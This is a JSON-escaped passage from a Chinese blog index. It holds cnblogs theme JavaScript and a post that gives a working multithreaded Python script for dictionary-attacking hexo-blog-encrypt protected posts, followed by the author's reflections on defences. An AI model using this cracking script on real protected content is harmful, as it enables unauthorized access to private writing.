{ if (typeof $(this).attr(\u0026#34;alt\u0026#34;) != \u0026#34;undefined\u0026#34;) { if ($(this).attr(\u0026#34;alt\u0026#34;) != \u0026#34;\u0026#34;) { $(this) .parent() .after( \u0026#39;\u0026lt;div class=\u0026#34;img-caption\u0026#34;\u0026gt;\u0026#39; + $(this).attr(\u0026#34;alt\u0026#34;) + \u0026#34;\u0026lt;/div\u0026gt;\u0026#34; ); } } }) } /* 按钮点击事件 */ btnClick = function() { // 侧边开关 $(\u0026#34;#sidebar-toggler,.mask\u0026#34;).click(function() { sidebarToggle(); }); // 移动端目录点击隐藏 $(\u0026#34;.nav a\u0026#34;).click(function() { var w = document.body.clientWidth; if (w \u0026lt;= 1200) { sidebarToggle(); } }); }; /* 博客正文标题背景图 */ blogPostTitle = function() { if ($(\u0026#34;#cnblogs_post_description .desc_img\u0026#34;).length \u0026gt; 0) { $(\u0026#34;.forFlow\u0026#34;).before(\u0026#39;\u0026lt;div class=\u0026#34;post-header\u0026#34;\u0026gt;\u0026lt;/div\u0026gt;\u0026#39;); $(\u0026#34;.post-header\u0026#34;).append($(\u0026#34;.postTitle\u0026#34;)); $(\u0026#34;.post-header\u0026#34;).append($(\u0026#34;.postDesc\u0026#34;)); $(\u0026#34;.post-header\u0026#34;).css( \u0026#34;background\u0026#34;, \u0026#34;url(\u0026#34; + $(\u0026#34;#cnblogs_post_description .desc_img\u0026#34;).attr(\u0026#34;src\u0026#34;) + \u0026#34;)\u0026#34; ); } }; /* 随笔分类背景图 */ entryPostTitle = function() { if ($(\u0026#34;.entrylistDescription .desc_img\u0026#34;).length \u0026gt; 0) { $(\u0026#34;#mainContent\u0026#34;).prepend(\u0026#39;\u0026lt;div class=\u0026#34;post-header\u0026#34;\u0026gt;\u0026lt;/div\u0026gt;\u0026#39;); $(\u0026#34;.post-header\u0026#34;).append($(\u0026#34;.entrylistTitle\u0026#34;)); $(\u0026#34;.post-header\u0026#34;).append($(\u0026#34;.entrylistDescription\u0026#34;)); $(\u0026#34;.post-header\u0026#34;).css( \u0026#34;background\u0026#34;, \u0026#34;url(\u0026#34; + $(\u0026#34;.entrylistDescription .desc_img\u0026#34;).attr(\u0026#34;src\u0026#34;) + \u0026#34;)\u0026#34; ); } }; /* 切换主题 */ changeTheme = function() { if ($.cookie(\u0026#34;theme\u0026#34;) == \u0026#34;light\u0026#34;) { $.cookie(\u0026#34;theme\u0026#34;, \u0026#34;dark\u0026#34;, { expires: 30, path: \u0026#34;/\u0026#34;, domain: \u0026#34;cnblogs.com\u0026#34;, }); document.documentElement.setAttribute(\u0026#34;theme\u0026#34;, \u0026#34;dark\u0026#34;); } else { $.cookie(\u0026#34;theme\u0026#34;, \u0026#34;light\u0026#34;, { expires: 30, path: \u0026#34;/\u0026#34;, domain: \u0026#34;cnblogs.com\u0026#34;, }); document.documentElement.removeAttribute(\u0026#34;theme\u0026#34;, \u0026#34;dark\u0026#34;); } }; /* 侧边开关 */ sidebarToggle = function() { $(\u0026#34;body\u0026#34;).toggleClass(\u0026#34;main-widthout-sidebar\u0026#34;); }; /* 侧边显示 */ showSide = function() { $(\u0026#34;#sideBar\u0026#34;).removeClass(\u0026#34;content-active\u0026#34;); $(\u0026#34;#sideBar\u0026#34;).addClass(\u0026#34;side-active\u0026#34;); $(\u0026#34;#sideBar\u0026#34;).scrollTop(0); }; /* 目录显示 */ showContent = function() { $(\u0026#34;#sideBar\u0026#34;).removeClass(\u0026#34;side-active\u0026#34;); $(\u0026#34;#sideBar\u0026#34;).addClass(\u0026#34;content-active\u0026#34;); contentScroll(); }; /* 平滑滚动控制 */ myscroll = function() { $(\u0026#34;.float-btn a[href*=\\\\#]\u0026#34;).click(function() { if ( location.pathname.replace(/^\\//, \u0026#34;\u0026#34;) == this.pathname.replace(/^\\//, \u0026#34;\u0026#34;) \u0026amp;\u0026amp; location.hostname == this.hostname ) { var $target = $(this.hash); $target = ($target.length \u0026amp;\u0026amp; $target) || $(\u0026#34;[name=\u0026#34; + this.hash.slice(1) + \u0026#34;]\u0026#34;); if ($target.length) { var targetOffset = $target.offset().top; // $(\u0026#34;html,body\u0026#34;).animate({ scrollTop: targetOffset - 0, }, 500 ); return false; } window.location.href = \u0026#34;#\u0026#34; + this.attr(\u0026#39;id\u0026#39;); } }); }; // 滚动监听事件 scrollListen = function() { $(window).scroll(function() { var scrolls = $(this).scrollTop(); if (scrolls \u0026gt;= windowTop) { //当scrolls\u0026gt;windowTop时，表示页面在向下滑动 $(\u0026#34;.float-btn\u0026#34;).addClass(\u0026#34;float-btn-hide\u0026#34;); // if ($(\u0026#34;#topics\u0026#34;).length \u0026gt; 0 \u0026amp;\u0026amp; scrolls \u0026gt; $(\u0026#34;.postTitle\u0026#34;).offset().top) { // $(\u0026#34;#header\u0026#34;).addClass(\u0026#34;header-hidde\u0026#34;); //} windowTop = scrolls; } else { $(\u0026#34;.float-btn\u0026#34;).removeClass(\u0026#34;float-btn-hide\u0026#34;); // $(\u0026#34;#header\u0026#34;).removeClass(\u0026#34;header-hidde\u0026#34;); windowTop = scrolls; } }); }; postBasicSetting = function() { // 代码高亮 // $(\u0026#34;pre code\u0026#34;).each(function(i, block) { // hljs.highlightBlock(block); // }); // // 表格滚动 // $(\u0026#34;table\u0026#34;).each(function() { // $(this).css(\u0026#34;cssText\u0026#34;, \u0026#34;width:100%!important;display:table;\u0026#34;); // $(this).wrapAll(\u0026#39;\u0026lt;div class=\u0026#34;tablebox\u0026#34;\u0026gt;\u0026lt;/div\u0026gt;\u0026#39;); // $(\u0026#34;.tablebox\u0026#34;).css(\u0026#34;overflow\u0026#34;, \u0026#34;auto\u0026#34;); // }); // 新窗口打开链接 $(\u0026#39;#cnblogs_post_body a[href^=\u0026#34;http\u0026#34;]\u0026#39;).each(function() { $(this).attr(\u0026#34;target\u0026#34;, \u0026#34;_blank\u0026#34;); }); // 侧边悬浮评论按钮 $(\u0026#34;.btn-main\u0026#34;).before( \u0026#39;\u0026lt;li class=\u0026#34;btn-comment\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;#comment_form_container\u0026#34;\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\u0026#39; ); // 博客标题向下滚动显示 /* $(\u0026#34;#header\u0026#34;).append( \u0026#39;\u0026lt;div class=\u0026#34;post-navbar\u0026#34;\u0026gt;\u0026lt;div class=\u0026#34;post-title\u0026#34;\u0026gt;\u0026lt;/div\u0026gt;\u0026#39; ); $(\u0026#34;.post-title\u0026#34;).text($(\u0026#34;.postTitle span\u0026#34;).text()); */ // 图片查看器 // fancyBox($(\u0026#34;.cnblogs-markdown img\u0026#34;)); // 代码复制 //codeCopy($(\u0026#34;pre\u0026#34;), \u0026#34;post\u0026#34;); }; // 图片查看器 fancyBox = function(Img) { // $(\u0026#34;.cnblogs-markdown img\u0026#34;) Img.each(function() { var element = document.createElement(\u0026#34;a\u0026#34;); $(element).attr(\u0026#34;data-fancybox\u0026#34;, \u0026#34;gallery\u0026#34;); $(element).attr(\u0026#34;href\u0026#34;, $(this).attr(\u0026#34;src\u0026#34;)); $(element).attr(\u0026#34;data-caption\u0026#34;, $(this).attr(\u0026#34;alt\u0026#34;)); $(this).wrap(element); if (typeof $(this).attr(\u0026#34;alt\u0026#34;) != \u0026#34;undefined\u0026#34;) { if ($(this).attr(\u0026#34;alt\u0026#34;) != \u0026#34;\u0026#34;) { $(this) .parent() .after( \u0026#39;\u0026lt;div class=\u0026#34;img-caption\u0026#34;\u0026gt;\u0026#39; + $(this).attr(\u0026#34;alt\u0026#34;) + \u0026#34;\u0026lt;/div\u0026gt;\u0026#34; ); } } }); }; /* 代码复制 */ codeCopy = function(codeElement, prefix) { // 代码复制按钮 for (i = 0; i \u0026lt;= codeElement.length; i++) { codeElement.eq(i).wrapAll(\u0026#39;\u0026lt;div class=\u0026#34;copyItem\u0026#34;\u0026gt;\u0026lt;/div\u0026gt;\u0026#39;); $(\u0026#34;.copyItem\u0026#34;).css(\u0026#34;position\u0026#34;, \u0026#34;relative\u0026#34;); if (codeElement.eq(i).children(\u0026#34;code\u0026#34;).length \u0026gt; 0) { var codeType = codeElement .eq(i) // .children(\u0026#34;code\u0026#34;) .attr(\u0026#34;class\u0026#34;) // .split(\u0026#34; \u0026#34;)[0] .split(\u0026#34;-\u0026#34;)[1]; if (codeType == null) { codeType = \u0026#34;\u0026#34;; } else { codeType = codeType.toLowerCase(); } codeElement .eq(i) .before(\u0026#39;\u0026lt;div class=\u0026#34;codeType\u0026#34;\u0026gt;\u0026#39; + codeType + \u0026#34;\u0026lt;/div\u0026gt;\u0026#34;); } codeElement .eq(i) .before( \u0026#39;\u0026lt;div class=\u0026#34;clipboard-button\u0026#34; id=\u0026#34;copy_btn_\u0026#39; + i + \u0026#39; \u0026#34; data-clipboard-target=\u0026#34;#\u0026#39; + prefix + \u0026#34;_copy_target_\u0026#34; + i + \u0026#39;\u0026#34;title=\u0026#34;复制\u0026#34;\u0026gt;\u0026lt;/div\u0026gt;\u0026#39; ); codeElement.eq(i).attr(\u0026#34;id\u0026#34;, prefix + \u0026#34;_copy_target_\u0026#34; + i); } codeElement.children(\u0026#34;code\u0026#34;).each(function() { var lines = $(this).text().split(\u0026#34;\\n\u0026#34;).length - 1; var $numbering = $(\u0026#34;\u0026lt;ul/\u0026gt;\u0026#34;).addClass(\u0026#34;pre-numbering\u0026#34;); $(this).addClass(\u0026#34;has-numbering\u0026#34;).parent().append($numbering); for (i = 1; i \u0026lt;= lines; i++) { $numbering.append($(\u0026#34;\u0026lt;li/\u0026gt;\u0026#34;).attr(\u0026#34;data-number\u0026#34;, i)); } }); }; /* 代码复制提示 */ copyCodeTip = function() { var clipboard = new ClipboardJS(\u0026#34;.clipboard-button\u0026#34;); clipboard.on(\u0026#34;success\u0026#34;, function(e) { ele.$message({ showClose: true, message: \u0026#34;代码复制成功！\u0026#34;, duration: 1000, type: \u0026#34;success\u0026#34;, }); e.clearSelection(); }); clipboard.on(\u0026#34;error\u0026#34;, function(e) { ele.$message({ showClose: true, message: \u0026#34;代码复制失败！\u0026#34;, duration: 1000, type: \u0026#34;error\u0026#34;, }); e.clearSelection(); }); }; /* owo 表情包插件 */ /* owoEmoji = function() { $(\u0026#34;.commentbox_footer\u0026#34;).prepend( \u0026#39;\u0026lt;div class=\u0026#34;OwO\u0026#34; onclick=\u0026#34;load_face(this)\u0026#34;\u0026gt;\u0026lt;div class=\u0026#34;OwO-logo\u0026#34;\u0026gt;\u0026lt;i class=\u0026#34;fa fa-smile-o\u0026#34; aria-hidden=\u0026#34;true\u0026#34;\u0026gt;\u0026lt;/i\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;/div\u0026gt;\u0026#39; ); // 表情按钮按下 load_face = function(b) { var c = new OwO({ logo: \u0026#39;\u0026lt;i class=\u0026#34;fa fa-smile-o\u0026#34; aria-hidden=\u0026#34;true\u0026#34;\u0026gt;\u0026lt;/i\u0026gt;\u0026#39;, container: document.getElementsByClassName(\u0026#34;OwO\u0026#34;)[0], target: document.getElementById(\u0026#34;tbCommentBody\u0026#34;), api: \u0026#34;https://cdn.jsdelivr.net/gh/gshang2018/home/gshang.owo.json\u0026#34;, position: \u0026#34;up\u0026#34;, width: \u0026#34;100%\u0026#34;, maxHeight: \u0026#34;250px\u0026#34;, }); b.classList.add(\u0026#34;OwO-open\u0026#34;); b.onclick = null; }; };*/ /* 侧边目录滚动激活 */ contentActiveListen = function() { //开启滚动监听, 监听所有在.nav类下的li // var top_offset = 60; // $(\u0026#34;body\u0026#34;).scrollspy({ // offset: top_offset, // 偏置80，防止遮挡 // }); $(window).scroll(function() { if ($(\u0026#39;#sideBar\u0026#39;).hasClass(\u0026#39;content-active\u0026#39;)) { contentScroll(); } }); }; contentScroll = function() { var now = $(\u0026#34;#sidebar_scroller\u0026#34;).find(\u0026#34;.active\u0026#34;); var basicHeight = now.outerHeight(); var prevNum = now.prevAll().length + 1; var top_distance = prevNum * basicHeight - 60; $(\u0026#34;#sideBar\u0026#34;).scrollTop(top_distance); } msgDot = function(){ $(document).ajaxComplete(function(event, xhr, option) { if($(\u0026#39;#msg_count\u0026#39;).text()!=\u0026#34;\u0026#34;){ $(\u0026#34;#blog_nav_contact\u0026#34;).addClass(\u0026#34;has_msg\u0026#34;); } }) } /* 侧边目录 */ setSideContent = function() { var $ph = $(\u0026#34;#cnblogs_post_body :header:eq(0)\u0026#34;); if ($ph.length \u0026gt; 0) { //设置层级为1 $ph.attr(\u0026#34;offset\u0026#34;, \u0026#34;1\u0026#34;); //添加导航目录的内容 $(\u0026#34;#sideBar\u0026#34;).prepend( \u0026#39;\u0026lt;div id=\u0026#34;sidebar_scroller\u0026#34; class=\u0026#34;sidebar-block\u0026#34;\u0026gt;\u0026lt;ul class=\u0026#34;nav\u0026#34;\u0026gt;\u0026lt;/ul\u0026gt;\u0026lt;/div\u0026gt;\u0026#39; ); $(\u0026#34;#sideBar\u0026#34;).prepend( \u0026#39;\u0026lt;div class=\u0026#34;side-choose\u0026#34;\u0026gt;\u0026lt;a id=\u0026#34;myside\u0026#34; href=\u0026#34;javascript:showSide()\u0026#34;\u0026gt;侧边\u0026lt;/a\u0026gt;\u0026lt;a id=\u0026#34;mycontent\u0026#34; href=\u0026#34;javascript:showContent()\u0026#34;\u0026gt;大纲\u0026lt;/a\u0026gt;\u0026lt;/div\u0026gt;\u0026#39; ); $(\u0026#34;#sideBarMain\u0026#34;).hide(); showContent(); //遍历文章里每个h标签 $(\u0026#34;#cnblogs_post_body :header\u0026#34;).each(function(i) { var $h = $(this); //设置h标签的id, 编号从0开始 // $h.append(\u0026#39;\u0026lt;a class=\u0026#34;title-link\u0026#34; id=\u0026#34;scroller-\u0026#39; + i + \u0026#39;\u0026#34; href=\u0026#34;#\u0026#39; + $h.attr(\u0026#34;id\u0026#34;) + \u0026#39;\u0026#34;\u0026gt;\u0026lt;/a\u0026gt;\u0026#39;); $h.attr(\u0026#34;class\u0026#34;, \u0026#34;title-parent\u0026#34;); //比上一个h标签层级小, 级数加1 if ($h[0].tagName \u0026gt; $ph[0].tagName) { $h.attr(\u0026#34;offset\u0026#34;, parseInt($ph.attr(\u0026#34;offset\u0026#34;)) + 1); } //比上一个h标签层级大, 级数减1 else if ($h[0].tagName \u0026lt; $ph[0].tagName) { var h = parseInt($h[0].tagName.substring(1)); var ph = parseInt($ph[0].tagName.substring(1)); var offset = parseInt($ph.attr(\u0026#34;offset\u0026#34;)) - (ph - h); if (offset \u0026lt; 1) { offset = 1; } $h.attr(\u0026#34;offset\u0026#34;, offset); } //和上一个h标签层级相等时, 级数不变 else { $h.attr(\u0026#34;offset\u0026#34;, $ph.attr(\u0026#34;offset\u0026#34;)); } //添加h标签的目录内容 $(\u0026#34;#sidebar_scroller ul\u0026#34;).append( \u0026#39;\u0026lt;li class=\u0026#34;scroller-offset\u0026#39; + $h.attr(\u0026#34;offset\u0026#34;) + \u0026#39;\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;#\u0026#39; + $h.attr(\u0026#34;id\u0026#34;) + \u0026#39;\u0026#34; title=\u0026#34;\u0026#39; + $h.text() + \u0026#39;\u0026#34;\u0026gt;\u0026#39; + $h.text() + \u0026#34;\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\u0026#34; ); //最后设置自己为上一个h标签 $ph = $h; }); contentActiveListen(); // 侧边目录滚动激活 } }; /* 评论区 */ setCommet = function() { $(document).ajaxComplete(function(event, xhr, option) { //评论头像 if (option.url.indexOf(\u0026#34;GetComments\u0026#34;) \u0026gt; -1) { setTimeout(function() { // 表情包 // 头像 $.each($(\u0026#34;.feedbackItem\u0026#34;), function(index, ele) { var self = $(ele); var obj = self.find(\u0026#34;.blog_comment_body\u0026#34;); var id = obj.attr(\u0026#34;id\u0026#34;).split(\u0026#34;_\u0026#34;)[2]; var blog = self.find(\u0026#39;a[id^=\u0026#34;a_comment_author\u0026#34;]\u0026#39;); var blogUrl = blog.attr(\u0026#34;href\u0026#34;); var imgSrc = $(\u0026#34;#comment_\u0026#34; + id + \u0026#34;_avatar\u0026#34;).html() || \u0026#34;http://pic.cnblogs.com/avatar/simple_avatar.gif\u0026#34;; self.prepend( \u0026#39;\u0026lt;a class=\u0026#34;comment_avatar_container\u0026#34; href=\u0026#34;\u0026#39; + blogUrl + \u0026#39;\u0026#34;\u0026gt;\u0026lt;img src=\u0026#34;\u0026#39; + imgSrc + \u0026#39;\u0026#34; style=\u0026#34;float:left;\u0026#34; class=\u0026#34;comment_avatar\u0026#34;\u0026gt;\u0026lt;/a\u0026#39; ); $(\u0026#34;.feedbackListSubtitle\u0026#34;).addClass(\u0026#34;feedbackListSubtitle_right\u0026#34;); $(\u0026#34;.feedbackCon\u0026#34;).addClass(\u0026#34;feedbackCon_right\u0026#34;); }); // 代码复制 //codeCopy($(\u0026#34;#blog-comments-placeholder pre\u0026#34;)); // 图片查看器 //fancyBox($(\u0026#34;.blog_comment_body img\u0026#34;), \u0026#34;comment\u0026#34;); }, 300); } }); }; \u0026lt;/script\u0026gt; 页脚HTML代码\n","permalink":"https://t1mmoc.github.io/posts/18628883/","summary":"\u003cp\u003e顺便公开一下代码\u003c/p\u003e\n\u003cp\u003e还能再水一篇\u003c/p\u003e\n\u003cp\u003e首先是几个一万年下载失败的东西，我替你们下载好了，可以直接引用我发布在博客园的文件，毕竟人人为我，我为人人嘛。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://files.cnblogs.com/files/blogs/809481/jquery.cookie.js?t=1735051954\u0026amp;download=true\"\u003ehttps://files.cnblogs.com/files/blogs/809481/jquery.cookie.js?t=1735051954\u0026amp;download=true\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://files.cnblogs.com/files/blogs/809481/vue.js?t=1735051820\u0026amp;download=true\"\u003ehttps://files.cnblogs.com/files/blogs/809481/vue.js?t=1735051820\u0026amp;download=true\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://files.cnblogs.com/files/blogs/809481/eui.css?t=1735051643\u0026amp;download=true\"\u003ehttps://files.cnblogs.com/files/blogs/809481/eui.css?t=1735051643\u0026amp;download=true\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/18628883/ContractedBlock.gif\"\u003e\u003cimg loading=\"lazy\" src=\"/images/18628883/ExpandedBlockStart.gif\"\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e\u0026lt;script\u0026gt;\n\n\n\n    let avatar = \u0026#34;https://images.cnblogs.com/cnblogs_com/gshang/1609278/o_210910153736IMG_20210909_232803.jpg\u0026#34;,\n\n        homepage = $(\u0026#39;#profile_block a\u0026#39;).eq(0).attr(\u0026#39;href\u0026#39;),\n\n        name = $(\u0026#39;#profile_block a\u0026#39;).eq(0).text(),\n\n        desc = $(\u0026#39;#blogTitle h2\u0026#39;).html(),\n\n        join = $(\u0026#39;#profile_block a\u0026#39;).eq(1).attr(\u0026#39;title\u0026#39;),\n\n        age = $(\u0026#39;#profile_block a\u0026#39;).eq(1).text(),\n\n        fans_link = $(\u0026#39;#profile_block a\u0026#39;).eq(2).attr(\u0026#39;href\u0026#39;),\n\n        fans = $(\u0026#39;#profile_block a\u0026#39;).eq(2).text(),\n\n        follow_link = $(\u0026#39;#profile_block a\u0026#39;).eq(3).attr(\u0026#39;href\u0026#39;),\n\n        follow = $(\u0026#39;#profile_block a\u0026#39;).eq(3).text(),\n\n        post = $(\u0026#39;#stats_post_count\u0026#39;).text().replace(/[^0-9]/ig, \u0026#34;\u0026#34;),\n\n        article = $(\u0026#39;#stats_article_count\u0026#39;).text().replace(/[^0-9]/ig, \u0026#34;\u0026#34;),\n\n        comment = $(\u0026#39;#stats-comment_count\u0026#39;).text().replace(/[^0-9]/ig, \u0026#34;\u0026#34;),\n\n        view_text = $(\u0026#39;#stats-total-view-count span\u0026#39;).text(),\n\n        view_num = $(\u0026#39;#stats-total-view-count span\u0026#39;).attr(\u0026#39;title\u0026#39;).replace(/[^0-9]/ig, \u0026#34;\u0026#34;)\n\n    let profile =`\n\n    \u0026lt;div id=\u0026#34;my-profile\u0026#34;\u0026gt;\n\n    \u0026lt;div id=\u0026#34;top-info\u0026#34;\u0026gt;\n\n        \u0026lt;div id=\u0026#34;user-avatar\u0026#34;\u0026gt;\n\n            \u0026lt;div class=\u0026#34;avater-border\u0026#34;\u0026gt;\u0026lt;/div\u0026gt;\n\n            \u0026lt;a href=\u0026#34;${homepage}\u0026#34; class=\u0026#34;my-logo-container\u0026#34;\u0026gt;\u0026lt;img src=\u0026#34;${avatar}\u0026#34; class=\u0026#34;my-logo\u0026#34; /\u0026gt;\u0026lt;/a\u0026gt;\n\n        \u0026lt;/div\u0026gt;\n\n        \u0026lt;div class=\u0026#34;my-name-container\u0026#34;\u0026gt;\n\n            \u0026lt;div\u0026gt;\n\n                \u0026lt;span class=\u0026#34;my-name\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;${homepage}\u0026#34;\u0026gt;${name}\u0026lt;/a\u0026gt;\u0026lt;/span\u0026gt;\n\n                \u0026lt;span id=\u0026#34;age\u0026#34; title=\u0026#34;join\u0026#34;\u0026gt;${age}\u0026lt;/span\u0026gt;\n\n            \u0026lt;/div\u0026gt;\n\n            \u0026lt;div class=\u0026#34;my-desc\u0026#34;\u0026gt;${desc}\u0026lt;/div\u0026gt;\n\n        \u0026lt;/div\u0026gt;\n\n    \u0026lt;/div\u0026gt;\n\n\n\n    \u0026lt;div class=\u0026#34;my-detaial\u0026#34;\u0026gt;\n\n        \u0026lt;ul\u0026gt;\n\n            \u0026lt;li id=\u0026#34;follow\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;${follow_link}\u0026#34; title=\u0026#34; follow\u0026#34;\u0026gt;${follow}\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\n            \u0026lt;li id=\u0026#34;fans\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;${fans_link}\u0026#34; title=\u0026#34; fans\u0026#34;\u0026gt;${fans}\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\n            \u0026lt;li id=\u0026#34;more\u0026#34;\u0026gt;\n\n                \u0026lt;div class=\u0026#34;my-stats\u0026#34;\u0026gt;\n\n                    \u0026lt;div class=\u0026#34;btn-more\u0026#34;\u0026gt;\u0026lt;/div\u0026gt;\n\n                    \u0026lt;ul class=\u0026#34;dropwon-content\u0026#34;\u0026gt;\n\n                        \u0026lt;li id=\u0026#34;post\u0026#34; title=\u0026#34;随笔： ${post}\u0026#34;\u0026gt; ${post}\u0026lt;/li\u0026gt;\n\n                        \u0026lt;li id=\u0026#34;article\u0026#34; title=\u0026#34;文章： ${article}\u0026#34;\u0026gt; ${article}\u0026lt;/li\u0026gt;\n\n                        \u0026lt;li id=\u0026#34;comment\u0026#34; title=\u0026#34;评论： ${comment}\u0026#34;\u0026gt; ${comment}\u0026lt;/li\u0026gt;\n\n                        \u0026lt;li id=\u0026#34;view\u0026#34; title=\u0026#34;阅读： ${view_num}\u0026#34;\u0026gt; ${view_text}\u0026lt;/li\u0026gt;\n\n                    \u0026lt;/ul\u0026gt;\n\n                \u0026lt;/div\u0026gt;\n\n            \u0026lt;/li\u0026gt;\n\n        \u0026lt;/ul\u0026gt;\n\n    \u0026lt;/div\u0026gt;\n\n    \u0026lt;div id=\u0026#34;follow-btn\u0026#34;\u0026gt;\u0026lt;/div\u0026gt;\n\n\u0026lt;/div\u0026gt;\n\n    `;\n\n\n\n    $(\u0026#39;#blog-news\u0026#39;).append(profile);\n\n\n\n    $(\u0026#39;#follow-btn\u0026#39;).append($(\u0026#39;#p_b_follow\u0026#39;));\n\n    if ($(\u0026#34;#topics\u0026#34;).length \u0026gt; 0) {\n\n        // setZan();\n\n        $(\u0026#39;#digg_tips\u0026#39;).bind(\u0026#34;DOMNodeInserted\u0026#34;, function() {\n\n\n\n            //console.log($(\u0026#39;#digg_tips\u0026#39;).text())\n\n            if ($(\u0026#39;#digg_tips\u0026#39;).text() == \u0026#34;支持成功\u0026#34; || $(\u0026#39;#digg_tips\u0026#39;).text() == \u0026#34;取消支持成功\u0026#34;) {\n\n                ele.$message({\n\n                    showClose: true,\n\n                    message: $(\u0026#39;#digg_tips\u0026#39;).text(),\n\n                    duration: 1000,\n\n                    type: \u0026#34;success\u0026#34;,\n\n                });\n\n            }\n\n\n\n            if ($(\u0026#39;#digg_tips\u0026#39;).text() == \u0026#34;您已支持过\u0026#34; || $(\u0026#39;#digg_tips\u0026#39;).text() == \u0026#34;不能推荐自己的内容\u0026#34;) {\n\n                ele.$message({\n\n                    showClose: true,\n\n                    message: $(\u0026#39;#digg_tips\u0026#39;).text(),\n\n                    duration: 1000,\n\n                    type: \u0026#34;warning\u0026#34;,\n\n                });\n\n            }\n\n\n\n\n\n\n\n        })\n\n\n\n    }\n\n\n\n\n\n\n\nwindow.onload =function()\n{\n\n\nsetTimeout(function(){\n$(\u0026#39;.math,.MathJax,.footnote-ref,.mrow,math\u0026#39;).attr(\u0026#39;translate\u0026#39;,\u0026#39;no\u0026#39;);\n},\u0026#34;10000\u0026#34;);\n}\n\n\n\u0026lt;/script\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e侧边公告\u003c/p\u003e","title":"博客园美化 纯代码部分"},{"content":"起因 碎碎念 这已经是我第二次遇到加密的博客了，有了经验，那就是这玩意是不上传服务器的。\n既然是在前端，那怎么确保安全性呢？\n翻阅源代码可知，作者也是挺聪明的。\n已经知道放在前端的东西会被各种手段操作，但是如果是用的AES-CBC加密，并且密码完全不放在前端，又当如何？\n只剩下一条路了 爆破，或者用字典，这其实是同一条路。\n摆在面前的是类似于压缩包的东西，那就爆破一下，博文应该不会设置太难的密码。。。。吧？\n把代码丢给ai喂一下，让ai把python版本的代码吐出来，顺便加一下多线程什么的。\n就变成了下面这样：\n点击查看代码\nimport threading from Crypto.Cipher import AES from Crypto.Hash import SHA256 from Crypto.Protocol.KDF import PBKDF2 from Crypto.Util.Padding import unpad def hex_to_array(s): data = [] for i in range(0, len(s), 2): num = int(s[i:i + 2], 16) data.append(num) return bytes(data) def get_hmac_key(key_material, key_salt): return PBKDF2(key_material, key_salt, dkLen=32, count=1024, hmac_hash_module=SHA256) def get_iv(key_material, iv_salt): return PBKDF2(key_material, iv_salt, dkLen=16, count=512, hmac_hash_module=SHA256) def get_key_material(password): return password.encode() known_prefix = \u0026#34;\u0026lt;hbe-prefix\u0026gt;\u0026lt;/hbe-prefix\u0026gt;\u0026#34; def decrypt(ciphertext, password): key_salt = \u0026#34;hexo-blog-encrypt的作者们都是大帅比!\u0026#34;.encode() iv_salt = \u0026#34;hexo-blog-encrypt是地表最强Hexo加密插件!\u0026#34;.encode() try: key_material = get_key_material(password) hmac_key = get_hmac_key(key_material, key_salt) iv = get_iv(key_material, iv_salt) ciphertext_bytes = hex_to_array(ciphertext) cipher = AES.new(hmac_key, AES.MODE_CBC, iv) decrypted_data = cipher.decrypt(ciphertext_bytes) unpadded_data = unpad(decrypted_data, AES.block_size) if not unpadded_data.decode().startswith(known_prefix): return None except ValueError as e: return None return unpadded_data.decode() def worker(ciphertext, password_chunk, event): for password in password_chunk: password = password.strip() if event.is_set(): return result = decrypt(ciphertext, password) if result: print(f\u0026#34;Decrypted successfully with password: {password.strip()}\u0026#34;) event.set() return def brute_force(ciphertext, passwords, max_threads=5): results = [] threads = [] password_chunks = [[] for _ in range(max_threads)] for index, password in enumerate(passwords): chunk_index = index % max_threads password_chunks[chunk_index].append(password) stop_event = threading.Event() for password_chunk in password_chunks: if password_chunk: t = threading.Thread(target=lambda chunk=password_chunk: worker(ciphertext, chunk, stop_event)) threads.append(t) t.start() for t in threads: t.join() if not stop_event.is_set(): print(\u0026#34;No valid password found.\u0026#34;) try: with open(\u0026#39;enData.txt\u0026#39;, \u0026#39;r\u0026#39;) as f: ciphertext = f.read().strip() with open(r\u0026#34;你应该有自己的字典8\u0026#34;, \u0026#39;r\u0026#39;, encoding=\u0026#34;utf-8\u0026#34;) as f: passwords = f.readlines() brute_force(ciphertext, passwords, max_threads=200) except FileNotFoundError as e: print(f\u0026#34;Error: {e}\u0026#34;) 爆破 也许你不相信，但是真的有人会用超长的密码去加密一篇博客，有鬼吧。\n我没有加进度条，但是200个进程跑那么久跑不出来已经很说明问题了。\n思索与展望 密码应该是随机生成的密码，毕竟是测试博客，不贴链接了避免引攻击过去\n如果为了方便阅读和分享，把密码设置得很短，那样的话容易被爆破。\n而如果为了能够避免爆破，把密码放在服务器，那样会造成服务器的更大压力（需要解密）\n然后如果为了避免爆破随机生成密码，那样密码就会难以交换。\n出路 非对称加密！\n是的，非对称加密可解这个问题。\n点击查看代码\n-----BEGIN PGP PUBLIC KEY BLOCK----- mDMEZ1EfmBYJKwYBBAHaRw8BAQdA6qG43AJ3pw9sd4PviX9WUYLy0MygwbYYC9WQ HI/4dP60FlRpbW1vYyA8dGltbW9jQHFxLmNvbT6IkwQTFgoAOxYhBAkeITdBrQIt QWhQ9JJWfviGvwwPBQJnUR+YAhsDBQsJCAcCAiICBhUKCQgLAgQWAgMBAh4HAheA AAoJEJJWfviGvwwPR3wBANk6S/71wZYI6J/if8WHaJmADmGJMi0Vfjn7aXSjCTe/ AQDdVJZbJidKNCszkyYLm+G5rL2impN9sRrHRHAd0IsHCLg4BGdRH5gSCisGAQQB l1UBBQEBB0CXa82EutF3trEi8Tcu62LmZeNIO/uy4K55Mjh5s1PZYgMBCAeIeAQY FgoAIBYhBAkeITdBrQItQWhQ9JJWfviGvwwPBQJnUR+YAhsMAAoJEJJWfviGvwwP 